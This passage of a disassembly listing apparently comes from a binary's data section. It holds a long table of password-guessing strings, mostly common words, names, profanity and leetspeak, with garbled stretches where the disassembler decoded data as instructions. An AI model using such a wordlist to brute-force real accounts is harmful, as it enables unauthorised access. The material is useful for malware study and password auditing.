		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_0	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
; ---------------------------------------------------------------------------
		mov	ah, ch
		inc	edx
		add	[esp+ebp*8+42h], bh
		add	[esp+ebp*8+42h], dh
		add	[esp+ebp*8+42h], ch
		add	[esp+ebp*8+42h], ah
		add	[esp+ebp*8+42h], bl
		add	[esp+ebp*8+42h], dl
		add	[eax-14h], cl
		inc	edx
		add	[eax-14h], al
		inc	edx
		add	[esp+ebp*8], dh
		inc	edx
		add	[esp+ebp*8], ch
		inc	edx
		add	[esp+ebp*8], ah
		inc	edx
		add	[esp+ebp*8], bl
		inc	edx
		add	[esp+ebp*8], dl
		inc	edx
		add	[esp+ebp*8], cl
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	al, bh
		jmp	short loc_42B701
; ---------------------------------------------------------------------------
		align 10h
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
; ---------------------------------------------------------------------------
		aam	0EBh
		inc	edx
		add	al, cl
		jmp	short loc_42B715
; ---------------------------------------------------------------------------
		align 4
		mov	esp, 0B40042EBh
		jmp	short loc_42B71D
; ---------------------------------------------------------------------------
		align 4
		lodsb
		jmp	short loc_42B721
; ---------------------------------------------------------------------------
		align 10h
		movsb
		jmp	short loc_42B725
; ---------------------------------------------------------------------------
		align 4
		cwde
		jmp	short loc_42B729
; ---------------------------------------------------------------------------
		align 4
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
; ---------------------------------------------------------------------------
		pop	esp


loc_42B701:				; CODE XREF: seg001:0042B6BDj
		jmp	short loc_42B745
; ---------------------------------------------------------------------------
		align 4
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		db 34h
; ---------------------------------------------------------------------------


loc_42B715:				; CODE XREF: seg001:0042B6D1j
		jmp	short loc_42B759
; ---------------------------------------------------------------------------
		align 4
		dd offset aPhrack	; "phrack"
		db 24h
; ---------------------------------------------------------------------------


loc_42B71D:				; CODE XREF: seg001:0042B6D9j
		jmp	short loc_42B761
; ---------------------------------------------------------------------------
		align 10h
		db 1Ch
; ---------------------------------------------------------------------------


loc_42B721:				; CODE XREF: seg001:0042B6DDj
		jmp	short near ptr loc_42B761+4
; ---------------------------------------------------------------------------
		align 4
		db 14h
; ---------------------------------------------------------------------------


loc_42B725:				; CODE XREF: seg001:0042B6E1j
		jmp	short loc_42B769
; ---------------------------------------------------------------------------
		align 4
		db 0Ch
; ---------------------------------------------------------------------------


loc_42B729:				; CODE XREF: seg001:0042B6E5j
		jmp	short near ptr loc_42B769+4
; ---------------------------------------------------------------------------
		align 4
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
; ---------------------------------------------------------------------------
		fsub	st(2), st
		inc	edx
		add	ah, dl


loc_42B745:				; CODE XREF: seg001:loc_42B701j
		jmp	far ptr	42h:0EACC0042h
; ---------------------------------------------------------------------------
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		db 0A8h
; ---------------------------------------------------------------------------


loc_42B759:				; CODE XREF: seg001:loc_42B715j
		jmp	far ptr	42h:0EAA00042h
; ---------------------------------------------------------------------------
		xchg	eax, esp


loc_42B761:				; CODE XREF: seg001:loc_42B71Dj
					; seg001:loc_42B721j
		jmp	far ptr	42h:0EA880042h
; ---------------------------------------------------------------------------
		db 80h
; ---------------------------------------------------------------------------


loc_42B769:				; CODE XREF: seg001:loc_42B725j
					; seg001:loc_42B729j
		jmp	far ptr	42h:0EA780042h
; ---------------------------------------------------------------------------
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning_0	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
; ---------------------------------------------------------------------------
		rcr	bh, 1
		inc	edx
		add	al, cl
		fild	word ptr [edx+0]
		mov	esp, 0B40042DFh


loc_42BC59:				; CODE XREF: seg001:0042BC78j
		fild	word ptr [edx+0]
		lodsb
		fild	word ptr [edx+0]
		mov	al, ds:980042DFh
		fild	word ptr [edx+0]
		nop
		fild	word ptr [edx+0]
		mov	bh, bl
		inc	edx
		add	[eax+780042DFh], al
		fild	word ptr [edx+0]
		jo	short loc_42BC59
		inc	edx
		add	[eax-21h], ch
		inc	edx
		add	[eax-21h], ah
		inc	edx
		add	[edi+ebx*8+42h], dl
		add	[edi+ebx*8+42h], cl
		add	[eax-21h], al
		inc	edx
		add	[edi+ebx*8], dh
		inc	edx
		add	[edi+ebx*8], ch
		inc	edx
		add	[edi+ebx*8], ah
		inc	edx
		add	[edi+ebx*8], bl
		inc	edx
		add	[edi+ebx*8], dl
		inc	edx
		add	[edi+ebx*8], cl
		inc	edx
		add	[edi+ebx*8], al
		inc	edx
		add	al, bh
		fiadd	word ptr [edx+0]
; ---------------------------------------------------------------------------
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_1	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset off_42D9FC
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset off_42D8D4
		dd offset aAlbatross	; "albatross"
		dd offset off_42D8C4
		dd offset off_42D8C0
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset off_42D8A0
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset off_42D88C
		dd offset off_42D888
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset off_42D860
		dd offset off_42D85C
		dd offset off_42D858
		dd offset aCampanile	; "campanile"
		dd offset off_42D848
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset off_42D7FC
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset off_42D7E0
		dd offset off_42D7DC
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset off_42D778
		dd offset off_42D774
		dd offset off_42D770
		dd offset aHappening	; "happening"
		dd offset off_42D760
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset off_42D744
		dd offset dword_42D740
		dd offset dword_42D73C
		dd offset off_42D738
		dd offset aLamination	; "lamination"
		dd offset off_42D728
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset off_42D714
		dd offset off_42D710
		dd offset off_42D70C
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset off_42D6E8
		dd offset off_42D6E4
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset off_42D698
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset off_42D684
		dd offset aRochester	; "rochester"
		dd offset off_42D674
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset off_42D634
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset off_42D60C
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
